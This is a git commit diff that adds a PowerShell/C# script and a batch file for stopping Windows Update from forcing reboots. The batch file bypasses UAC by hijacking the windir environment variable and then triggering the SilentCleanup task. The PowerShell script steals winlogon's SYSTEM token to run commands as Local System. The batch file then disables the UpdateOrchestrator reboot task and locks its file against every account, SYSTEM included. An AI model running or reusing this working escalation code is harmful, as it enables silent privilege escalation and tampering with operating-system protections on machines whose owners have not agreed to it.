Merge remote-tracking branch 'kill_reboot/master'
This commit is contained in:
commit
d0efbb3886
2 changed files with 346 additions and 0 deletions
314
elevate.ps1
Normal file
314
elevate.ps1
Normal file
|
@ -0,0 +1,314 @@
|
||||||
|
# this is a very stripped-down C# port of NSudo:
|
||||||
|
# https://github.com/M2Team/NSudo
|
||||||
|
# you should already be running this script as an administrator.
|
||||||
|
|
||||||
|
param([string]$command="cmd")
|
||||||
|
|
||||||
|
function Execute-Elevated {
|
||||||
|
param([string]$command="cmd")
|
||||||
|
|
||||||
|
$Definition = @"
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Diagnostics;
|
||||||
|
|
||||||
|
public class Dummy {
|
||||||
|
const int CREATE_NO_WINDOW = 0x8000000;
|
||||||
|
const int CREATE_UNICODE_ENVIRONMENT = 0x400;
|
||||||
|
const int MAXIMUM_ALLOWED = 0x2000000;
|
||||||
|
const int PROCESS_QUERY_INFORMATION = 0x400;
|
||||||
|
const int SE_PRIVILEGE_ENABLED = 0x2;
|
||||||
|
const int SecurityImpersonation = 2;
|
||||||
|
const int TOKEN_QUERY = 0x8;
|
||||||
|
const int TokenPrimary = 1;
|
||||||
|
const int TokenImpersonation = 2;
|
||||||
|
const int TokenUser = 1;
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public struct SID_AND_ATTRIBUTES {
|
||||||
|
public IntPtr Sid;
|
||||||
|
public int Attributes;
|
||||||
|
}
|
||||||
|
|
||||||
|
public struct TOKEN_USER {
|
||||||
|
public SID_AND_ATTRIBUTES User;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public struct LUID {
|
||||||
|
public UInt32 LowPart;
|
||||||
|
public Int32 HighPart;
|
||||||
|
}
|
||||||
|
|
||||||
|
// hack to make a simple TOKEN_PRIVILEGES struct when Count=1.
|
||||||
|
[StructLayout(LayoutKind.Sequential, Pack=1)]
|
||||||
|
public struct TokenPrivilegeSingle {
|
||||||
|
public int Count;
|
||||||
|
public LUID Luid;
|
||||||
|
public uint Attr;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
|
||||||
|
public struct STARTUPINFOW {
|
||||||
|
public int cb;
|
||||||
|
public string lpReserved;
|
||||||
|
public string lpDesktop;
|
||||||
|
public string lpTitle;
|
||||||
|
public uint dwX;
|
||||||
|
public uint dwY;
|
||||||
|
public uint dwXSize;
|
||||||
|
public uint dwYSize;
|
||||||
|
public uint dwXCountChars;
|
||||||
|
public uint dwYCountChars;
|
||||||
|
public uint dwFillAttribute;
|
||||||
|
public uint dwFlags;
|
||||||
|
public ushort wShowWindow;
|
||||||
|
public ushort cbReserved2;
|
||||||
|
public IntPtr lpReserved2;
|
||||||
|
public IntPtr hStdInput;
|
||||||
|
public IntPtr hStdOutput;
|
||||||
|
public IntPtr hStdError;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
internal struct PROCESS_INFORMATION {
|
||||||
|
public IntPtr hProcess;
|
||||||
|
public IntPtr hThread;
|
||||||
|
public int dwProcessId;
|
||||||
|
public int dwThreadId;
|
||||||
|
}
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll")]
|
||||||
|
static extern IntPtr LocalFree(
|
||||||
|
IntPtr hMem);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError=true)]
|
||||||
|
static extern bool CloseHandle(
|
||||||
|
IntPtr hHandle);
|
||||||
|
|
||||||
|
[DllImport("userenv.dll", SetLastError=true)]
|
||||||
|
static extern bool CreateEnvironmentBlock(
|
||||||
|
out IntPtr lpEnvironment,
|
||||||
|
IntPtr hToken, bool bInherit);
|
||||||
|
|
||||||
|
[DllImport("userenv.dll", SetLastError=true)]
|
||||||
|
static extern bool DestroyEnvironmentBlock(
|
||||||
|
IntPtr lpEnvironment);
|
||||||
|
|
||||||
|
[DllImport("advapi32", CharSet=CharSet.Auto, SetLastError=true)]
|
||||||
|
static extern bool ConvertSidToStringSid(
|
||||||
|
IntPtr pSID,
|
||||||
|
out IntPtr ptrSid);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError=true)]
|
||||||
|
static extern IntPtr OpenProcess(
|
||||||
|
int dwDesiredAccess,
|
||||||
|
bool bInheritHandle,
|
||||||
|
long dwProcessId);
|
||||||
|
|
||||||
|
[DllImport("advapi32.dll", ExactSpelling=true, SetLastError=true)]
|
||||||
|
static extern bool OpenProcessToken(
|
||||||
|
IntPtr h,
|
||||||
|
int acc,
|
||||||
|
out IntPtr phtok);
|
||||||
|
|
||||||
|
[DllImport("advapi32.dll", SetLastError = true)]
|
||||||
|
private static extern bool SetThreadToken(
|
||||||
|
IntPtr pHandle,
|
||||||
|
IntPtr hToken);
|
||||||
|
|
||||||
|
[DllImport("advapi32.dll", SetLastError=true)]
|
||||||
|
static extern bool GetTokenInformation(
|
||||||
|
IntPtr TokenHandle,
|
||||||
|
int TokenInformationClass,
|
||||||
|
IntPtr TokenInformation,
|
||||||
|
int TokenInformationLength,
|
||||||
|
out int ReturnLength);
|
||||||
|
|
||||||
|
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
|
||||||
|
static extern bool DuplicateTokenEx(
|
||||||
|
IntPtr hExistingToken,
|
||||||
|
uint dwDesiredAccess,
|
||||||
|
IntPtr lpTokenAttributes,
|
||||||
|
int ImpersonationLevel,
|
||||||
|
int TokenType,
|
||||||
|
out IntPtr phNewToken);
|
||||||
|
|
||||||
|
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
|
||||||
|
static extern bool CreateProcessAsUserW(
|
||||||
|
IntPtr hToken,
|
||||||
|
string lpApplicationName,
|
||||||
|
string lpCommandLine,
|
||||||
|
IntPtr lpProcessAttributes,
|
||||||
|
IntPtr lpThreadAttributes,
|
||||||
|
bool bInheritHandles,
|
||||||
|
uint dwCreationFlags,
|
||||||
|
IntPtr lpEnvironment,
|
||||||
|
string lpCurrentDirectory,
|
||||||
|
ref STARTUPINFOW lpStartupInfo,
|
||||||
|
out PROCESS_INFORMATION lpProcessInformation);
|
||||||
|
|
||||||
|
[DllImport("advapi32.dll", SetLastError = true)]
|
||||||
|
static extern bool AdjustTokenPrivileges(
|
||||||
|
IntPtr TokenHandle,
|
||||||
|
bool DisableAllPrivileges,
|
||||||
|
ref TokenPrivilegeSingle NewState,
|
||||||
|
uint Zero,
|
||||||
|
IntPtr Null1,
|
||||||
|
IntPtr Null2);
|
||||||
|
|
||||||
|
public static string ConvertSidToStringSid(IntPtr sid) {
|
||||||
|
IntPtr pstr = IntPtr.Zero;
|
||||||
|
bool ok = ConvertSidToStringSid(sid, out pstr);
|
||||||
|
if (!ok) {
|
||||||
|
LocalFree(pstr);
|
||||||
|
throw new Exception("ConvertSidToStringSid: not ok");
|
||||||
|
}
|
||||||
|
string sidstr = Marshal.PtrToStringAuto(pstr);
|
||||||
|
LocalFree(pstr);
|
||||||
|
return sidstr;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static bool HasPrivileges(int pid) {
|
||||||
|
bool ok = true;
|
||||||
|
IntPtr hProc = OpenProcess(PROCESS_QUERY_INFORMATION, false, pid);
|
||||||
|
if (hProc == IntPtr.Zero) throw new Exception("OpenProcess: null");
|
||||||
|
IntPtr hToken = IntPtr.Zero;
|
||||||
|
ok = OpenProcessToken(hProc, TOKEN_QUERY, out hToken);
|
||||||
|
if (!ok || hToken == IntPtr.Zero) throw new Exception("OpenProcessToken: not ok or null");
|
||||||
|
|
||||||
|
int tiLength = -1;
|
||||||
|
GetTokenInformation(hToken, TokenUser, IntPtr.Zero, 0, out tiLength);
|
||||||
|
IntPtr ti = Marshal.AllocHGlobal(tiLength);
|
||||||
|
ok = GetTokenInformation(hToken, TokenUser, ti, tiLength, out tiLength);
|
||||||
|
if (!ok) {
|
||||||
|
Marshal.FreeHGlobal(ti);
|
||||||
|
throw new Exception("GetTokenInformation: not ok");
|
||||||
|
}
|
||||||
|
|
||||||
|
TOKEN_USER tokenUser = (TOKEN_USER)Marshal.PtrToStructure(ti, typeof(TOKEN_USER));
|
||||||
|
string sidstr = ConvertSidToStringSid(tokenUser.User.Sid);
|
||||||
|
|
||||||
|
return sidstr == "S-1-5-18"; // described as "Local System"
|
||||||
|
}
|
||||||
|
|
||||||
|
public static int FindSystemPid(string processName) {
|
||||||
|
Process currentProc = Process.GetCurrentProcess();
|
||||||
|
Process[] processes = Process.GetProcessesByName(processName);
|
||||||
|
int pid = -1;
|
||||||
|
foreach (Process proc in processes) {
|
||||||
|
if (currentProc.SessionId == proc.SessionId && HasPrivileges(proc.Id)) {
|
||||||
|
pid = proc.Id;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (pid == -1) throw new Exception("FindSystemPid: couldn't find " + processName);
|
||||||
|
return pid;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static IntPtr DuplicateProcessToken(int pid, int impLevel, int tokenType) {
|
||||||
|
// desiredAccess is always MAXIMUM_ALLOWED
|
||||||
|
// lpTokenAttributes is always null (IntPtr.Zero)
|
||||||
|
bool ok = true;
|
||||||
|
IntPtr hProc = OpenProcess(MAXIMUM_ALLOWED, false, pid);
|
||||||
|
if (hProc == IntPtr.Zero) throw new Exception("OpenProcess: null");
|
||||||
|
|
||||||
|
IntPtr hToken = IntPtr.Zero;
|
||||||
|
ok = OpenProcessToken(hProc, MAXIMUM_ALLOWED, out hToken);
|
||||||
|
if (!ok || hToken == IntPtr.Zero) throw new Exception("OpenProcessToken: not ok or null");
|
||||||
|
|
||||||
|
IntPtr phToken = IntPtr.Zero;
|
||||||
|
ok = DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, IntPtr.Zero,
|
||||||
|
impLevel, tokenType,
|
||||||
|
out phToken);
|
||||||
|
if (!ok || phToken == IntPtr.Zero) throw new Exception("DuplicateTokenEx: not ok or null");
|
||||||
|
|
||||||
|
return phToken;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void CreateProcessW(IntPtr hToken, IntPtr environment, string directory,
|
||||||
|
string comSpec, string command) {
|
||||||
|
bool ok = true;
|
||||||
|
|
||||||
|
STARTUPINFOW startupInfo = new STARTUPINFOW();
|
||||||
|
PROCESS_INFORMATION processInfo = new PROCESS_INFORMATION();
|
||||||
|
|
||||||
|
startupInfo.cb = Marshal.SizeOf(startupInfo);
|
||||||
|
startupInfo.lpDesktop = "WinSta0\\Default";
|
||||||
|
|
||||||
|
ok = CreateProcessAsUserW(hToken, comSpec, command,
|
||||||
|
IntPtr.Zero, IntPtr.Zero, false,
|
||||||
|
CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT,
|
||||||
|
environment, directory,
|
||||||
|
ref startupInfo, out processInfo);
|
||||||
|
|
||||||
|
if (!ok) {
|
||||||
|
int err = Marshal.GetLastWin32Error();
|
||||||
|
CloseHandle(processInfo.hProcess);
|
||||||
|
CloseHandle(processInfo.hThread);
|
||||||
|
throw new Exception("CreateProcessAsUser failure: " + err);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static IntPtr CreateEnvironment(IntPtr hToken) {
|
||||||
|
bool ok = true;
|
||||||
|
IntPtr environment;
|
||||||
|
ok = CreateEnvironmentBlock(out environment, hToken, true);
|
||||||
|
if (!ok || environment == IntPtr.Zero) throw new Exception("CreateEnvironmentBlock: not ok or null");
|
||||||
|
return environment;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void SetTokenAllPrivileges(IntPtr hToken, bool enable) {
|
||||||
|
// turns out the only one we need is 3: SE_ASSIGNPRIMARYTOKEN_PRIVILEGE
|
||||||
|
bool ok = true;
|
||||||
|
|
||||||
|
TokenPrivilegeSingle tp = new TokenPrivilegeSingle();
|
||||||
|
tp.Count = 1;
|
||||||
|
tp.Attr = (uint)(enable ? SE_PRIVILEGE_ENABLED : 0);
|
||||||
|
tp.Luid.LowPart = 3;
|
||||||
|
|
||||||
|
ok = AdjustTokenPrivileges(hToken, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
|
||||||
|
if (!ok) throw new Exception("AdjustTokenPrivileges: not ok");
|
||||||
|
|
||||||
|
int err = Marshal.GetLastWin32Error();
|
||||||
|
if (err != 0) throw new Exception("AdjustTokenPrivileges failure: " + err);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void Execute(string comSpec, string command) {
|
||||||
|
bool ok = true;
|
||||||
|
|
||||||
|
IntPtr hTokenSelf;
|
||||||
|
|
||||||
|
ok = OpenProcessToken((IntPtr)(-1), MAXIMUM_ALLOWED, out hTokenSelf);
|
||||||
|
if (!ok || hTokenSelf == IntPtr.Zero) throw new Exception("OpenProcessToken: not ok or null");
|
||||||
|
|
||||||
|
IntPtr environment = CreateEnvironment(hTokenSelf);
|
||||||
|
|
||||||
|
int pid = FindSystemPid("winlogon");
|
||||||
|
Console.WriteLine("winlogon PID: " + pid);
|
||||||
|
|
||||||
|
IntPtr hTokenSystemImpersonate = DuplicateProcessToken(pid, SecurityImpersonation, TokenImpersonation);
|
||||||
|
|
||||||
|
SetTokenAllPrivileges(hTokenSystemImpersonate, true);
|
||||||
|
ok = SetThreadToken(IntPtr.Zero, hTokenSystemImpersonate);
|
||||||
|
if (!ok) throw new Exception("SetThreadToken: not ok");
|
||||||
|
|
||||||
|
IntPtr hTokenSystemPrimary = DuplicateProcessToken(pid, SecurityImpersonation, TokenPrimary);
|
||||||
|
|
||||||
|
string fullCommand = "/c start \"" + comSpec + "\" " + command;
|
||||||
|
Console.WriteLine(comSpec + " " + fullCommand);
|
||||||
|
|
||||||
|
CreateProcessW(hTokenSystemPrimary, environment, null, comSpec, fullCommand);
|
||||||
|
|
||||||
|
// TODO: always clean up regardless of exceptions.
|
||||||
|
DestroyEnvironmentBlock(environment);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
"@
|
||||||
|
|
||||||
|
$type = Add-Type $definition -PassThru
|
||||||
|
$type[0]::Execute((get-item env:"ComSpec").Value, $command)
|
||||||
|
}
|
||||||
|
|
||||||
|
Execute-Elevated $command
|
||||||
|
exit
|
32
kill-reboot.cmd
Normal file
32
kill-reboot.cmd
Normal file
|
@ -0,0 +1,32 @@
|
||||||
|
@echo off
|
||||||
|
set debug=0
|
||||||
|
|
||||||
|
set ps_reg="HKCU\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell"
|
||||||
|
|
||||||
|
rem check if the key already exists.
|
||||||
|
reg query %ps_reg% /v ExecutionPolicy >nul 2>&1
|
||||||
|
if NOT %errorLevel% == 0 (
|
||||||
|
rem set it just high enough so we can run our script.
|
||||||
|
reg add %ps_reg% /t REG_SZ /v ExecutionPolicy /d RemoteSigned
|
||||||
|
)
|
||||||
|
|
||||||
|
rem check if we're at least running as an admin.
|
||||||
|
net session >nul 2>&1
|
||||||
|
if NOT %errorLevel% == 0 (
|
||||||
|
rem re-run this script as system.
|
||||||
|
rem that's more than administrator, but less than trusted installer.
|
||||||
|
if "%debug%"=="1" (
|
||||||
|
powershell -Command "Start-Process powershell {%~dp0\elevate.ps1 %0} -Verb RunAs"
|
||||||
|
) else (
|
||||||
|
rem this version bypasses UAC. please refer to the following post:
|
||||||
|
rem https://tyranidslair.blogspot.ca/2017/05/exploiting-environment-variables-in.html
|
||||||
|
reg add hkcu\Environment /v windir /d "cmd /K reg delete hkcu\Environment /v windir /f && powershell -WindowStyle Hidden -NonInteractive %~dp0\elevate.ps1 %0 && REM "
|
||||||
|
)
|
||||||
|
schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
|
||||||
|
exit
|
||||||
|
)
|
||||||
|
|
||||||
|
schtasks /change /tn \Microsoft\Windows\UpdateOrchestrator\Reboot /DISABLE
|
||||||
|
icacls "%WINDIR%\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Reboot" /inheritance:r /deny "Everyone:F" /deny "SYSTEM:F" /deny "Local Service:F" /deny "Administrators:F"
|
||||||
|
if "%debug%"=="1" ( pause )
|
||||||
|
exit
|
Loading…
Reference in a new issue